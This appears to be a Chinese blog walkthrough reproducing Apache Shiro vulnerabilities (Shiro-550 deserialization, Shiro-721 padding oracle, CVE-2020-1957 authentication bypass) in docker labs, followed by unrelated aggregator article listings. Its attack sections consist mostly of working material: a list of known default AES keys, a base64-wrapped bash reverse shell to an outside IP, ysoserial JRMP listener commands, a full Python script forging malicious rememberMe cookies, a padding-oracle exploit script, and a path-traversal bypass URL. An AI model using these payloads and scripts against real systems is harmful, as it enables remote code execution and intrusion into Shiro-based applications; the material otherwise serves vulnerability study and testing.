Shiro 漏洞复现

news/2024/11/28 13:13:05/文章来源:https://www.cnblogs.com/left-shoulder/p/18569871

Shiro 漏洞复现

shiro是什么?

ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。

shiro组件识别

1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。

image-20241125160353922

2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。

Shiro-550(CVE-2016-4437反序列化漏洞)

	shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设影响版本:Apachee Shiro <= 1.2.4
  • 常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
  • 使用docker搭建环境:
# 拉取镜像
docker pull medicean/vulapps:s_shiro_1
# 启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
image-20241125224734694
  1. 检测是否存在默认的key
# 工具
https://github.com/StarkChristmas/Shiro_exploit# 使用命令
python shiro_exploit.py -u http://靶机:端口
  • 这里得到AES秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg==
image-20241125225319444
  1. 确认反弹shell语句(在java中要base64编码)
# 原本的语句
bash -i >& /dev/tcp/8.8.8.8/6666 0>&1# base64编码(中间要去空格)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

通过ysoserial这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令

 # `ysoserial下载
 https://github.com/frohoff/ysoserial/releases/tag/v0.0. 
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
image-20241125230300215
  1. 准备一个脚本shiro_poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())return base64.b64encode(iv + encryptor.encrypt(file_body))if __name__ == '__main__':if not sys.argv[1:]:print(f'Usage: {sys.argv[0]} <payload>')sys.exit(1)payload = encode_rememberme(sys.argv[1])print("[+] Payload: ")print("rememberMe={0}".format(payload.decode()))
  • 脚本生成payload,端口为先前监听的9999
python shiro_poc_test.py 攻击机ip:9999
image-20241125232139668
  1. bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)
image-20241125232230520
  1. 成功得到shell
image-20241125232539978

Shir0-721漏洞利用

由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)

环境搭建

git clone https://github.com/inspiringz/Shiro-721.gitcd Shiro-721/Dockerdocker build -t shiro-721 .docker run -p 8080:8080 -d shiro-721

漏洞利用

  1. 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)
image-20241126112546319
  • 如果登录成功则不会设置deleteMe的cookie
image-20241126112411015
  • 如果失败时会设置deleteMe的cookie
image-20241126112450186
  1. 反序列化工具ysoserial生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class
  1. 创建一个python脚本遍历key,命名为exp.py
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import unquote
import requests
import socket
import time
import sys
import loggingclass PadBuster(PaddingOracle):def __init__(self, **kwargs):super(PadBuster, self).__init__(**kwargs)self.session = requests.Session()# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'self.wait = kwargs.get('wait', 2.0)def oracle(self, data, **kwargs):somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)self.session.cookies['rememberMe'] = somecookie.decode('utf-8')if self.session.cookies.get('JSESSIONID'):del self.session.cookies['JSESSIONID']# logging.debug(self.session.cookies)while 1:try:response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)breakexcept (socket.error, requests.exceptions.RequestException):logging.exception('Retrying request in %.2f seconds...', self.wait)time.sleep(self.wait)continueself.history.append(response)# logging.debug(response.headers)if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):logging.debug('No padding exception raised on %r', somecookie)return# logging.debug("Padding exception")raise BadPaddingExceptionif __name__ == '__main__':if not sys.argv[3:]:print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')sys.exit(1)logging.basicConfig(level=logging.DEBUG)encrypted_cookie = b64decode(unquote(sys.argv[2]))padbuster = PadBuster()payload = open(sys.argv[3], 'rb').read()enc = padbuster.encrypt(plaintext=payload, block_size=16)# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))print('rememberMe cookies:')print(b64encode(enc))
  1. 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload
  • 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换 AES-CBCAES-GCM,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示

Apache SShiro认证绕过漏洞(CVE-2020-1957)

  1. 访问http://your-ip:8080/admin/,发现无法访问,会重定向到登录页面
image-20241126114611712
  1. 访问http://your-ip:8080/xxx/..;/admin/可以绕过校验
image-20241126114710327

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/841583.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是网格变形?HyperWorks网格变形设置方法

HyperMorph 是 HyperMesh 向用户提供的强大的网格变形工具。它可以在保证基本网格形态和质量的前提下,按照用户使用需求,自如的对已有的有限元模型进行网格变形。 HyperMorph 可用于: • 改变已有的网格,生成新的设计方案。 • 将已有的网格映射至全新的几何模型。 • 用于…

Kafka集群管理:大数据运维专家来教你如何实现数据均衡与性能最大化

Kafka 概述 Kafka 起初是 由 LinkedIn 公司采用 Scala 语言开发的一个多分区、多副本且基于 ZooKeeper 协调的分布式消息系统,现已被捐献给 Apache 基金会。目前 Kafka 已经定位为一个分布式流式处理平台,它以高吞吐、可持久化、可水平扩展、支持流数据处理等多种特性而被广泛…

x-easypdf 初始与简单使用

一、概述 一个 java 语言简化处理 pdf 的框架 项目主页https://x-easypdf.cn项目概述x-easypdf是一个java语言简化处理pdf的框架,包含fop模块与pdfbox模块,fop模块以创建功能为主,基于xsl-fo模板生成pdf文档,以数据源的方式进行模板渲染;pdfbox模块以编辑功能为主,对标准…

x-easypdf 初始

一、概述 一个 java 语言简化处理 pdf 的框架 项目主页https://x-easypdf.cn项目概述x-easypdf是一个java语言简化处理pdf的框架,包含fop模块与pdfbox模块,fop模块以创建功能为主,基于xsl-fo模板生成pdf文档,以数据源的方式进行模板渲染;pdfbox模块以编辑功能为主,对标准…

园子与阿里云的推广合作:直播预告|FFA 2024 上海主论坛,11月29日正式上线!

为 Apache Flink 社区备受期待的年度盛会之一,本届大会将于 11 月 29 至 30 日在上海隆重举行。Flink Forward Asia(简称 FFA)是由 Apache 官方授权的社区技术大会,旨在汇聚领先的行业实践与技术动态。在众多合作伙伴和技术开发者的支持下,FFA 已成功举办六届Flink Forwar…

关于力矩、转动惯量、扭矩等机器人、电机领域相关名词的解析和扫盲

前言 这篇博客主要用于记录一些关于电机一些专有名词分析的事情,特此记录,一方面便于日后自己的温故学习,另一方面也比便于大家的学习和交流。如有不对之处,欢迎评论区指出错误,你我共同进步学习! 这里摘要自b站的这位老师的视频,原视频很长,这里做出一定程度的总结: …

PowerShell配色方案修改 —— Windows 10下设置PowerShell背景,文字,命令,错误信息,错误信息背景等等的颜色—仅供参考!!!

PowerShell配色方案修改 —— Windows 10下设置PowerShell背景,文字,命令,错误信息,错误信息背景等等的颜色—仅供参考!!! 前言:笔者平时使用wsl的时候,觉得其它开发工具相对笨重,且CMD代码框又太简陋,PowerShell正好符合目前需求,且可自定义调节颜色,网上看了太多…

占用磁盘100%?Apache DolphinScheduler 日志如何定时清理!

当 Apache DolphinScheduler 运行几个月后,大部分朋友会发现 Logs 下的运行日志越来越多,这时可以考虑清理下 Logs/ 目录下的日志文件,比如设置只保留最近 3 天的日志,怎么操作呢?可以通过执行以下三个命令来实现: find ./logs -type f -mtime +3 -name "dolphinsch…

CMS管理后台(前后端分离模式)

本后台使用前后端分离模式开发,前端UI为Vue3+Ant Design Vue,后端Api为Go+Gin,解耦前后端逻辑,使开发更专注 技术栈 前端:Vue3,Ant Design Vue,Axios,分页,OTP动态码登录 后端:Gin,Gorm,Mysql,Docker,JWT,跨域,Log,模型绑定,Validator,权限判断,分页,OT…

专为Mac设计的文件管理工具——Dropzone 4 直装版本 Dropzone 4激活下载

Dropzone 4直装激活版是一款专为Mac设计的文件管理工具,它通过拖放操作简化文件管理流程。该软件支持快速上传文件至多种云存储服务(如Dropbox、Google Drive等),并提供文件合并、拆分、压缩、解压及邮件发送等功能。Dropzone 4允许用户自定义操作和快速访问面板,进一步提…

视频处理软件——VideoProc Converter 4K完美汉化激活 VideoProc Converter 4K免登录版本

VideoProc Converter 4K是一款功能强大的视频处理软件。它支持多种视频格式转换,包括MP4、AVI、MOV等,并能快速转换为高质量的4K、1080p等分辨率的视频。此外,该软件还具备视频编辑、剪辑、压缩、裁剪、合并等多种功能,且支持硬件加速技术,能显著提高处理速度。其直观的用…

gin.engine

EngineEngine即gin对应的服务端类(Server类),对应net/http中的ServeMux。编写gin的服务时,通常有两种初始化方法:以上两种方法都生成一个*Engine实例,只是gin.Default()生成的Engine带了Logger和Recovery两个中间件。Engine的核心成员如下: 一个Engine的核心功能包括:注册…